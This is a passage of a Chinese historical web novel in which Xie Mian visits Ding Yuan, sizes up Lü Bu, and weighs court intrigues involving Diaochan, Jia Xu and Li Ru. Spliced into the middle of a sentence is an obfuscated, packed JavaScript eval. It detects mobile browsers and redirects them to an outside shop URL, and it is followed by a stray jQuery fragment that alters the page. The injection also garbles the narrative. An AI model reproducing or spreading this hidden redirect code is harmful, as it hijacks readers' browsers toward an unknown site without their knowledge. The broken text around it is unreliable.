丁原的府邸在城东。谢眠递帖的时候特意挑了申时,日头将落未落。
他不想留太久,也不想让人觉得他急着走。
门人接过名帖进去通报,很快便有人引他入内。
丁原选在了书房见他。
这位执金吾年近五旬,面容方正,眉目间有武人特有的沉凝之气,说话时不急不缓,像一把久未出鞘的刀,到与皇甫嵩更相似。
他看了谢眠一眼,只抬手示意他坐。
“谢侍郎递帖过府,倒是稀客。”丁原的语气不冷不热,但显然更偏好直白些的交流方式,“你我素无往来,今日登门,不知有何指教?”
谢眠行了一礼落座,心中大致有数。
“将军快人快语,我便不绕弯了。”他也索性以恳切的语调直白开口,“听闻将军与司徒王允近来多有往来,又听闻王司徒府上有一位义女,才貌双绝,名动洛阳。我向来对这些传闻有些好奇,不知将军能否指点一二?”
“王司徒府上的事,我不便多说。”他说,“不过侍郎既然问起,那我确实与王司徒有交情,曾在他的酒席间见过两次他那位义女,确实如传闻所言。”
丁原答得爽快,这等小事他想不出任何需要保密的理由,但凡谢眠有心,迟早是能查出这些的。
他情愿在此时结个善缘。
谢眠点了点头没有追问,但心中疑窦丛生。
貂蝉确有其人,王允确在接近丁原,而丁原没有拒绝一定程度上的联合,对此并非全无防备。
可问题也出在这里。
家中女眷虽不至于不见外客却亦不应在外人许多的宴席上出来。
丁原说“如传闻所言”,那便确凿是才貌双全了。
可这才是怎么确认的?难道“貂蝉”还在宴席间献艺了?
若真是如此,这义女不过是个说辞,恐怕实际是个精心培养的工具才对。
他抬眸,对上了丁原意味深长的目光。
还真是如此啊。
谢眠又坐了一会儿,自顾自替自己斟了杯酒、问了些无关紧要的事,像是拜访已近尾声。
他在等。
传闻丁原待吕布亲厚,他不好开口直言想见吕布,但留的时间够久便极有可能撞见。
然后谢眠听到了那道脚步声。
脚步声来得突然,从廊道那头由远及近,每一步都踩得很实,靴底敲在石板上发出沉闷的声响。
来人没有在门外停住,直接跨过门槛走了进来。
那是一个年轻人。
身形高大,穿着一身紧窄的便服,腰间居然还挂着一柄短刀,进门时带起一阵风。他的面容英俊,剑眉星目,但眉宇间有一种藏不住的锋芒,却并非谢眠所见惯的野心。
他进门之后没有先看丁原,目光径直落在谢眠身上,带着一种毫不掩饰的锐利打量。
谢眠微微皱眉,简直如芒在背。
“你就是谢眠?”他问,没有任何客套、试探,语气傲慢但笃定,像是来之前就已经确定了答案。
谢眠站起来拱了拱手:“在下正是。敢问足下是?”
“吕布,字奉先。”那人报了自己的名字,仗着身高居高临下俯视他,“丁将军帐下主簿。听说尚书台有人来了,我过来看看。”
他说完这句话,没有等谢眠回应便走近了两步,目光从谢眠的脸扫到腰间,又扫回来。
“你在尚书台当差,跟董卓那边的人走得挺近?”他的问题来得极快,像是一把刀直接递到面前,没有铺垫,也没有余地。
丁原没有开口阻拦。
谢眠没有回避,语气淡然:“公务往来罢了。”
“公务往来?”吕布笑了一声,满是讽刺。
谢眠看着他若有所思。
吕布看似莽撞,却始终在丁原默许之下,倒也不是不懂分寸,而是他知道自己可以这样问,也知道在这个场合下如此直白问了之后谢眠必须要回答。
武人出身的他不会让这些问题在礼仪、在士人的圆滑下悄无声息地滑过去,而这很可能是丁原特地安排的。
谢眠在心里重新调整了对他的判断:吕布的锋芒不能避,必须要正面对上,然后让他服气,或者至少让他暂时无话可说。
“不错。”谢眠直直盯着他,“我也是有军功在身的、是从战场上走下来的。在二位面前或许不值一提,可我也绝非什么软骨头。”
他坚决道:“朱将军待我不薄,人总不能跟相鼠*似的。”
厅堂里的安静持续了几息。
丁原笑了。
“奉先,不得无礼。”他说,可神色间分明没有丝毫怪罪。
“那是我多嘴了。”吕布立刻接话,语气平平,“谢侍郎莫怪。”
他退后到丁原身后,但仍然在打量谢眠。
谢眠没有继续这个话题,转向丁原辞行;丁原点了点头,没有挽留。
谢眠走出厅堂时感觉到吕布的目光还停在自己身后,他忽然有了个想法。
“久闻奉先骑射出众。我不好无意兵器,却独好骑射。”他走出几步又折返,认认真真道,“不知可有时间讨教?”
提起长处,吕布眼中满是傲然,而谢眠这个京中红人的主动邀约也令他满意非常,答应得极快。
丁原这次是真的没来得及开口阻拦,无奈又好笑地挥了挥手。
——
回到住处,天色已经暗了。
郭嘉坐在廊下,大约是在候他:“丁原那边如何?”
谢眠在他旁边坐下来。
“丁原没问题。”他说,“可能有问题的是他那个义子。”
“吕布?”
“嗯。他没有什么大野心。”谢眠若有所思。
“那有什么问题?”
谢眠又想了想,可他仍旧未能想清楚吕布眼里究竟是什么。
从史书上看,这应该是个贪财、怕死的小人,可他觉得有哪里不对。
“你当是直觉吧。”他无奈地说。
郭嘉点了点头。
他站起来,像是要去屋里拿什么东西,走了两步又停下来。
“对了,你让我打听的有着落了。”郭嘉最擅长与人打交道,虽然平日里不着调惯了,可在他乐于讨别人欢心的时候总是能成功的,“貂蝉确实在王允府上,但极少露面,见过她的人不多,大多是在实权官员的小宴上。王允把她藏得很深,像是留着等什么时机再用。”
谢眠沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686001|207806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
默了一会儿。
“那确实是她。”他说。
郭嘉转身进了屋。
谢眠一个人坐在廊下,秋风吹过来,带着枯叶的气息。
他知道这个女子绝对会改变一些事,但他还不知道会改变什么。
这种无力感真是糟透了。他抓了抓头发,决定先去休息。
次日,谢眠去了尚书台。
但他先绕了一段路,经过李儒处理文书的那间屋子。
李儒正在案前看一卷名册,见他进来便放下笔。
“来得巧,”李儒从案上拿起一封文书递给他,“牛将军那边有一批新到的粮草,尚书台若是有人手,便帮衬着办了。”
谢眠接过文书,没有急着走。
他在李儒对面坐下来,把文书放在膝上,像是要确认一些细节:“牛将军那边近来事情不少?”
“入京的兵马编制要重新核对。”李儒也不避讳,“再加上一些旧部的人事调动。牛将军向来对这些事上心,尤其是从凉州带过来的人,他要确认每个人都在该在的位置上。”
他说到这里顿了一下,像是在考虑要不要再说下去。
谢眠没有催促,只是安静地坐在那里。
李儒最终还是开了口。
“前几日文和来找我,问过牛将军那边的编制调整。”
贾诩问这个做什么?他总不可能是要主动出谋划策吧?
“文和对这些事向来上心。”谢眠语气自然,“他那边若有什么需要尚书台帮忙的,你也可知会我一声。”
李儒点了点头。
谢眠站起来,把文书妥帖地收进袖中,而后向外走去。
去往尚书台的路上,他把那句话重新过了一遍:贾诩在打听牛辅那边的编制调整。
和上次听说的提议加快行军速度一样,这不像贾诩的行事作风。
他不知道贾诩是出于习惯性的谨慎还是已经注意到了什么,但他觉得,让贾诩继续这么待在军中实在是太令人不安了。
如果把贾诩调任呢?他摸了摸下巴。
就调到尚书台、调到任何一个他看得见地方。
好端端一个文士,当什么校尉啊?
往中枢调,那可是高升,就是李儒来了都不会觉得这是针对。
不过还是要看那几位将军对贾诩的态度。
若是他们不愿意放人,谢眠是怎么运作都成不了的。
他抬头看了一眼天色。
日光正照在城楼上,把影子拉得很长,斜斜地铺在石板路上。
尚书台里比平日更安静些,陆陆续续有不少人已经被族内召回,暂时推出朝堂这浑水了。
几个郎官各自坐在案前,见他进来想起身迎接又被谢眠示意不用,最终便点了点头算是招呼。谢眠走到自己的案前坐下来,把那卷文书放在左手边,然后提起笔、展开一卷空白竹简开始分派人手。
不是什么难事,故而他写得很快,笔锋落在竹面上发出细密的声响。
不对。
他忽地顿住了。京中哪儿来的这么多余粮给凉州人?有余量的怎么看都不会愿意出借粮草才对。
谢眠默不作声停了笔,仔仔细细又读了一遍文书。